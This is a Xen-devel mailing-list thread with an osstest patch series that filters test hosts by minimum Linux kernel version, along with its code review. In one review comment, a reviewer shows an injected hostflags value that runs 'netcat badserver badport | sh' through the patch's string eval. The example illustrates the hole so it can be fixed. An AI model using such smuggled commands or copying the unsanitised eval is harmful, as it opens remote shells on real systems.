[PATCH OSSTEST 0/4] Avoid running Linux on hosts for the given version lacks drivers

[PATCH OSSTEST 0/4] Avoid running Linux on hosts for the given version lacks drivers

[Ian Campbell]

[-- Attachment #1: Type: text/plain, Size: 3228 bytes --]

As discussed in the thread at 
http://lists.xen.org/archives/html/xen-devel/2015-09/msg01067.html some
older versions of Linux lack drivers for hardware in some of our test
hosts, meaning in particular that the linux-3.4 branch is now stuck trying
to run all of its jobs on hosts which linux-3.4.y cannot possibly work on
and for which a backported driver is thought unlikely right now.

Fix this by introducing support to the resource allocator for filtering
candidates based on resource properties, which will be used specifically to
filter hosts by their LinuxKernelMin property.

Before applying this the following new host properties should be added:

./mg-hosts setprops chardonnay\* -- LinuxKernelMin 3.8
./mg-hosts setprops huxelrebe\* -- LinuxKernelMin 3.5

(strictly speaking chardonnay is actually fixed by 3.7-rc1).

The first patch was just for debugging, via the attached script and some spurious host properties added in Cambridge. This could be dropped...

The full diff of ./standalone-generate-dump-flight-runvars is huge, before
and after are attached (compressed because they are ~5M each!) and a
representative hunk after sorting both files is:

@@ -501,7 +501,7 @@
 linux-3.0                  build-i386-xsm                                        tree_qemuu                  git://xenbits.xen.org/staging/qemu-upstream-unstable.git                                           
 linux-3.0                  build-i386-xsm                                        tree_seabios                                                                                                                   
 linux-3.0                  build-i386-xsm                                        tree_xen                    git://xenbits.xen.org/xen.git                                                                      
-linux-3.0                  test-amd64-amd64-amd64-pvgrub                         all_hostflags               arch-amd64,arch-xen-amd64,suite-jessie,purpose-test                                                
+linux-3.0                  test-amd64-amd64-amd64-pvgrub                         all_hostflags               arch-amd64,arch-xen-amd64,suite-jessie,purpose-test,PropMinVer:LinuxKernelMin:3.0                  
 linux-3.0                  test-amd64-amd64-amd64-pvgrub                         arch                        amd64                                                                                              
 linux-3.0                  test-amd64-amd64-amd64-pvgrub                         buildjob                    build-amd64                                                                                        
 linux-3.0                  test-amd64-amd64-amd64-pvgrub                         debian_arch                 amd64                                                                                              

This only occurs for linux-X.Y and not for other branches (including not
for non-numeric linux-FOO):

$ diff -u  before-min-linux after-min-linux  | grep ^[+-][^+-]| cut -f1 -d\  | sort | uniq
-linux-3.0
+linux-3.0
-linux-3.10
+linux-3.10
-linux-3.14
+linux-3.14
-linux-3.16
+linux-3.16
-linux-3.18
+linux-3.18
-linux-3.4
+linux-3.4
-linux-4.1
+linux-4.1

Ian.

[-- Attachment #2: before-min-linux.gz --]
[-- Type: application/gzip, Size: 152299 bytes --]

[-- Attachment #3: after-min-linux.gz --]
[-- Type: application/gzip, Size: 152471 bytes --]

[-- Attachment #4: test-alloc-executive.sh --]
[-- Type: application/x-shellscript, Size: 1162 bytes --]

[-- Attachment #5: Type: text/plain, Size: 126 bytes --]

_______________________________________________
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[PATCH OSSTEST 1/4] ts-hosts-allocate-Executive: Allow dry-run

[Ian Campbell]

Provide a new -n command line option which causes no allocations to be
done, for debugging.

Signed-off-by: Ian Campbell <ian.campbell@citrix.com>
---
 ts-hosts-allocate-Executive | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
index 781ddaf..c9aae88 100755
--- a/ts-hosts-allocate-Executive
+++ b/ts-hosts-allocate-Executive
@@ -30,6 +30,7 @@ tsreadconfig();
 open DEBUG, ">/dev/null" or die $!;
 
 our $compressdebug=1;
+our $fake; # never allocate
 
 while (@ARGV and $ARGV[0] =~ m/^-/) {
     $_= shift @ARGV;
@@ -37,6 +38,8 @@ while (@ARGV and $ARGV[0] =~ m/^-/) {
     while (m/^-./) {
         if (s/^-U/-/) {
 	    $compressdebug=0;
+	} elsif (s/^-n/-/) {
+	    $fake=1;
         } else {
             die "$_ ?";
         }
@@ -610,6 +613,8 @@ sub attempt_allocation {
     ($plan, $mayalloc) = @_;
     undef $best;
 
+    $mayalloc = undef if $fake;
+
     logm("allocating hosts: ".join(' ', map { $_->{Ident} } @hids));
 
     prepare_statements();
@@ -654,6 +659,11 @@ sub attempt_allocation {
 	logm("host allocation: planned start in $best->{Start} seconds.");
     }
 
+    if ($fake) {
+	logm("Fake allocation, returning error");
+	$retval = -1;
+    }
+
     my $booklist= compute_booking_list();
 
     return ($retval, $booklist);
-- 
2.5.1

[PATCH OSSTEST 2/4] ts-hosts-allocate-Executive: add a label to loop over candidates

[Ian Campbell]

I'm going to want to "next CANDIDATE" from within a nested loop.

Signed-off-by: Ian Campbell <ian.campbell@citrix.com>
---
 ts-hosts-allocate-Executive | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
index c9aae88..294395d 100755
--- a/ts-hosts-allocate-Executive
+++ b/ts-hosts-allocate-Executive
@@ -313,6 +313,7 @@ END
     my @candidates;
     my $any=0;
 
+  CANDIDATE:
     while (my $candrow= $findhostsq->fetchrow_hashref()) {
         $candrow->{Warnings}= [ ];
         $candrow->{Reso}= "$candrow->{restype} $candrow->{resname}";
@@ -343,7 +344,7 @@ END
 	    my $erow= $equivflagscheckq->fetchrow_hashref();
 	    if (!$erow) {
 		print DEBUG "$dbg EQUIV $equiv->{FormalClass} NO-CLASSES\n";
-		next;
+		next CANDIDATE;
 	    }
 	    my $eq= $erow->{hostflag};
 	    print DEBUG "$dbg EQUIV $equiv->{FormalClass} MAYBE $eq\n";
@@ -358,7 +359,7 @@ END
 
         print DEBUG "$dbg FLAGS MISSINGFLAGS: @missingflags.\n";
         if (@missingflags) {
-            next unless defined $use;
+            next CANDIDATE unless defined $use;
             push @{ $candrow->{Warnings} },
                 "specified host lacks flags @missingflags";
         }
-- 
2.5.1

[PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Campbell]

In particular for allocating hosts based on host properties.

To do this we extend the hostflags syntax with "condition:arg1:arg2".
This specifies that the candidate host must pass the condition given
the arguments.

Each "condition" is a new module in the Osstest::ResourceCondition
namespace. For each condition an object is constructed using the given
arguments (split on ':') and stored in $hid.

When allocating for each candidate host the object's ->check method is
called giving $restype and $resname and will return true or false
depending on whether the given host meets the condition.

Only a single condition is implemented here "PropMinVer" which
requires that a given property on the resource has at least the given
value when compared as a version string. The actual database name of
the property must be in the new CamelCase style (as output by
propname_massage) since it is looked up by precisely that name and
possible legacy aliases are not considered. Lack of the property being
compared is taken a "no restriction" and hence is allowed.

Signed-off-by: Ian Campbell <ian.campbell@citrix.com>
---
 Osstest/ResourceCondition/PropMinVer.pm | 74 +++++++++++++++++++++++++++++++++
 ts-hosts-allocate-Executive             | 25 +++++++++--
 2 files changed, 96 insertions(+), 3 deletions(-)
 create mode 100644 Osstest/ResourceCondition/PropMinVer.pm

diff --git a/Osstest/ResourceCondition/PropMinVer.pm b/Osstest/ResourceCondition/PropMinVer.pm
new file mode 100644
index 0000000..d842fe7
--- /dev/null
+++ b/Osstest/ResourceCondition/PropMinVer.pm
@@ -0,0 +1,74 @@
+# This is part of "osstest", an automated testing framework for Xen.
+# Copyright (C) 2015 Citrix Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+package Osstest::ResourceCondition::PropMinVer;
+
+use strict;
+use warnings;
+
+use Osstest;
+use Osstest::TestSupport;
+
+use Sort::Versions;
+
+use overload '""' => 'stringify';
+
+BEGIN {
+    use Exporter ();
+    our ($VERSION, @ISA, @EXPORT, @EXPORT_OK, %EXPORT_TAGS);
+    $VERSION     = 1.00;
+    @ISA         = qw(Exporter);
+    @EXPORT      = qw();
+    %EXPORT_TAGS = ( );
+
+    @EXPORT_OK   = qw();
+}
+
+sub new {
+    my ($class, $name, $prop, $val) = @_;
+    return bless {
+	Prop => propname_massage($prop),
+	MinVal => $val
+    }, $class;
+}
+
+sub stringify {
+    my ($pmv) = @_;
+    return "$pmv->{MinVal} >= property $pmv->{Prop}";
+}
+
+sub check {
+    my ($pmv, $restype, $resname) = @_;
+
+    # Using _cached avoids needing to worry about $dbh_tests being
+    # closed/reopened between invocations
+    my $hpropq = $dbh_tests->prepare_cached(<<END);
+       SELECT val FROM resource_properties
+	WHERE restype = ? AND resname = ? AND name = ?
+END
+    $hpropq->execute($restype, $resname, $pmv->{Prop});
+
+    my $row= $hpropq->fetchrow_arrayref();
+    $hpropq->finish();
+
+    return 1 unless $row; # No prop == no restriction.
+
+    # If the required minimum is >= to the resource's minimum then the
+    # resource meets the requirement.
+    return versioncmp($pmv->{MinVal}, $row->[0]) >= 0;
+}
+
+1;
diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
index 294395d..345ffeb 100755
--- a/ts-hosts-allocate-Executive
+++ b/ts-hosts-allocate-Executive
@@ -213,7 +213,7 @@ sub compute_hids () {
     our %equivs;
 
     foreach my $ident (@ARGV) {
-        my $hid= { };
+        my $hid= { Conds => { host => [] } };
         my $override_use;
         if ($ident =~ m/\=/) {
             $hid->{OverrideUse}= $'; #'
@@ -251,11 +251,23 @@ sub compute_hids () {
                 my $equiv= $hid->{Equiv}= $equivs{$formalclass};
                 print DEBUG "HID $ident FLAG $flag EQUIV $equiv->{Wanted}\n";
                 next;
-            }
+            } elsif ($flag =~ m/:/) {
+		my (@c) = split /:/, $flag;
+		my $o;
+		eval ("use Osstest::ResourceCondition::$c[0];".
+		      "\$o = Osstest::ResourceCondition::$c[0]->new(\@c);")
+		    or die "get ResourceCondition $@";
+
+		push @{$hid->{Conds}{host}}, $o;
+
+		print DEBUG "HID $ident FLAG $flag HCOND $o\n";
+		next;
+	    }
             $flags{$flag}= 1;
         }
         $hid->{Flags}= \%flags;
-        print DEBUG "HID $ident FLAGS ".(join ',', sort keys %flags)."\n";
+        print DEBUG "HID $ident FLAGS ".(join ',', sort keys %flags).
+	    " + ".scalar @{$hid->{Conds}{host}}." host conditions(s)\n";
         push @hids, $hid;
     }
 }
@@ -363,6 +375,13 @@ END
             push @{ $candrow->{Warnings} },
                 "specified host lacks flags @missingflags";
         }
+
+	foreach my $c (@{$hid->{Conds}{$candrow->{restype}}}) {
+	    if (!$c->check($candrow->{restype}, $candrow->{resname})) {
+		print DEBUG "$dbg failed $c condition\n";
+		next CANDIDATE unless defined $use;
+	    }
+	}
         $any++;
 
         print DEBUG "$dbg GOOD\n";
-- 
2.5.1

[PATCH OSSTEST 4/4] make-flight: Add a minimum linux version requirement to all linux-* branches

[Ian Campbell]

We have some hosts in the colo which are not supported by older Linux
versions.

Add a suitable hostflag using the new resource conditions syntax to
cause this to occur.

Signed-off-by: Ian Campbell <ian.campbell@citrix.com>
---
 mfi-common | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/mfi-common b/mfi-common
index 991baf5..212a41d 100644
--- a/mfi-common
+++ b/mfi-common
@@ -365,6 +365,14 @@ test_matrix_iterate () {
   *)                    pairtoolstack="xl libvirt" ;;
   esac
 
+  case "$branch" in
+    linux-[3-9].[0-9]*)
+      min_linux_hostflag=PropMinVer:LinuxKernelMin:${branch#linux-}
+      ;;
+    *)
+      ;;
+  esac
+
   for xenarch in ${TEST_ARCHES- i386 amd64 armhf } ; do
 
     if [ "x$xenarch" = xdisable ]; then continue; fi
@@ -436,6 +444,9 @@ test_matrix_iterate () {
         fi
 
         most_hostflags="arch-$dom0arch,arch-xen-$xenarch,suite-$suite,purpose-test"
+        if [ "x$min_linux_hostflag" != "x" ] ; then
+            most_hostflags="$most_hostflags,$min_linux_hostflag"
+        fi
 
         most_runvars="
                   arch=$dom0arch                                  \
-- 
2.5.1

Re: [PATCH OSSTEST 1/4] ts-hosts-allocate-Executive: Allow dry-run

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 1/4] ts-hosts-allocate-Executive: Allow dry-run"):
> Provide a new -n command line option which causes no allocations to be
> done, for debugging.

Acked-by: Ian Jackson <ian.jackson@eu.citrix.com>

Re: [PATCH OSSTEST 2/4] ts-hosts-allocate-Executive: add a label to loop over candidates

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 2/4] ts-hosts-allocate-Executive: add a label to loop over candidates"):
> I'm going to want to "next CANDIDATE" from within a nested loop.

I'm assuming you've checked that these are the only `next's in that
loop.

Acked-by: Ian Jackson <ian.jackson@eu.citrix.com>

Ian.

Re: [PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 3/4] Add support for selecting resources based on their properties."):
> In particular for allocating hosts based on host properties.
> 
> To do this we extend the hostflags syntax with "condition:arg1:arg2".
> This specifies that the candidate host must pass the condition given
> the arguments.

This looks pretty good.

> +package Osstest::ResourceCondition::PropMinVer;
...
> +sub new {
> +    my ($class, $name, $prop, $val) = @_;
> +    return bless {
> +	Prop => propname_massage($prop),

You can probably skip this propname_massage too, and require the new
actual flag settings to use the CamelCase naming.

I think this function should check the length of @_ so as to reject
invocations with the wrong number of :-delimited values.  (This is not
in general true of the various host access methods which arguably
ought to tolerate additional expansion arguments, so it wasn't in the
code you were cribbing.)

> +sub stringify {
> +    my ($pmv) = @_;
> +    return "$pmv->{MinVal} >= property $pmv->{Prop}";
                                ^
Maybe add `(version)' or `(v)' ?

> +    # If the required minimum is >= to the resource's minimum then the

You don't mean the `required minimum'.  It's the `maximum minimum'.
(In fact in the Linux kernel example it is going to be the _actual_.)

> diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
> index 294395d..345ffeb 100755
...
> +            } elsif ($flag =~ m/:/) {

Can we have   $flag =~ m/^\w+:   ?

That way we can invent new syntaxes (or even flags) which have `:'
further right, without ambiguity.

This will also avoid excitement here ...

> +		my (@c) = split /:/, $flag;
> +		my $o;
> +		eval ("use Osstest::ResourceCondition::$c[0];".
> +		      "\$o = Osstest::ResourceCondition::$c[0]->new(\@c);")

... if I specify

  all_hostflags='PropMinVer; system "netcat badserver badport | sh";:ha:ha'

> +		    or die "get ResourceCondition $@";
> +
> +		push @{$hid->{Conds}{host}}, $o;

I normally like to put some spaces inside the @{ } in this kind of
thing.

Ian.

Re: [PATCH OSSTEST 4/4] make-flight: Add a minimum linux version requirement to all linux-* branches

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 4/4] make-flight: Add a minimum linux version requirement to all linux-* branches"):
> We have some hosts in the colo which are not supported by older Linux
> versions.
...
> +  case "$branch" in
> +    linux-[3-9].[0-9]*)

Acked-by: Ian Jackson <ian.jackson@eu.citrix.com>

Re: [PATCH OSSTEST 0/4] Avoid running Linux on hosts for the given version lacks drivers

[Ian Jackson]

Ian Campbell writes ("[PATCH OSSTEST 0/4] Avoid running Linux on hosts for the given version lacks drivers"):
> Before applying this the following new host properties should be added:
...
> The full diff of ./standalone-generate-dump-flight-runvars is huge, before
> and after are attached (compressed because they are ~5M each!) and a
> representative hunk after sorting both files is:

Cor.  Thanks.  Please don't send those again :-).

Ian.

Re: [PATCH OSSTEST 2/4] ts-hosts-allocate-Executive: add a label to loop over candidates

[Ian Campbell]

On Tue, 2015-09-15 at 18:04 +0100, Ian Jackson wrote:
> Ian Campbell writes ("[PATCH OSSTEST 2/4] ts-hosts-allocate-Executive:
> add a label to loop over candidates"):
> > I'm going to want to "next CANDIDATE" from within a nested loop.
> 
> I'm assuming you've checked that these are the only `next's in that
> loop.

I did and I've just double checked to be sure and I've got them all.

I also looked for last's and there are none.

> Acked-by: Ian Jackson <ian.jackson@eu.citrix.com>

Thanks.

> 
> Ian.

Re: [PATCH OSSTEST 3/4] Add support for selecting resources based on their properties.

[Ian Campbell]

On Tue, 2015-09-15 at 18:18 +0100, Ian Jackson wrote:
> Ian Campbell writes ("[PATCH OSSTEST 3/4] Add support for selecting
> resources based on their properties."):
> > In particular for allocating hosts based on host properties.
> > 
> > To do this we extend the hostflags syntax with "condition:arg1:arg2".
> > This specifies that the candidate host must pass the condition given
> > the arguments.
> 
> This looks pretty good.
> 
> > +package Osstest::ResourceCondition::PropMinVer;
> ...
> > +sub new {
> > +    my ($class, $name, $prop, $val) = @_;
> > +    return bless {
> > +	Prop => propname_massage($prop),
> 
> You can probably skip this propname_massage too, and require the new
> actual flag settings to use the CamelCase naming.


My thinking is that this would prevent people using an old style name for
the database prop and getting away with it by making the same error in the
host flags.

Of course this now lets people get away with the wrong name in the host
flags so long as the database is correct.

    die $prop ne propname_massage($prop) 

???

> 
> I think this function should check the length of @_ so as to reject
> invocations with the wrong number of :-delimited values.  (This is not
> in general true of the various host access methods which arguably
> ought to tolerate additional expansion arguments, so it wasn't in the
> code you were cribbing.)
> 
> > +sub stringify {
> > +    my ($pmv) = @_;
> > +    return "$pmv->{MinVal} >= property $pmv->{Prop}";
>                                 ^
> Maybe add `(version)' or `(v)' ?

Done.

> 
> > +    # If the required minimum is >= to the resource's minimum then the
> 
> You don't mean the `required minimum'.  It's the `maximum minimum'.
> (In fact in the Linux kernel example it is going to be the _actual_.)

I did s/required minimum/maximum minimum/

> > diff --git a/ts-hosts-allocate-Executive b/ts-hosts-allocate-Executive
> > index 294395d..345ffeb 100755
> ...
> > +            } elsif ($flag =~ m/:/) {
> 
> Can we have   $flag =~ m/^\w+:   ?

Yep, done

[...]
> > +		    or die "get ResourceCondition $@";
> > +
> > +		push @{$hid->{Conds}{host}}, $o;
> 
> I normally like to put some spaces inside the @{ } in this kind of
> thing.

Ack.

> 
> Ian.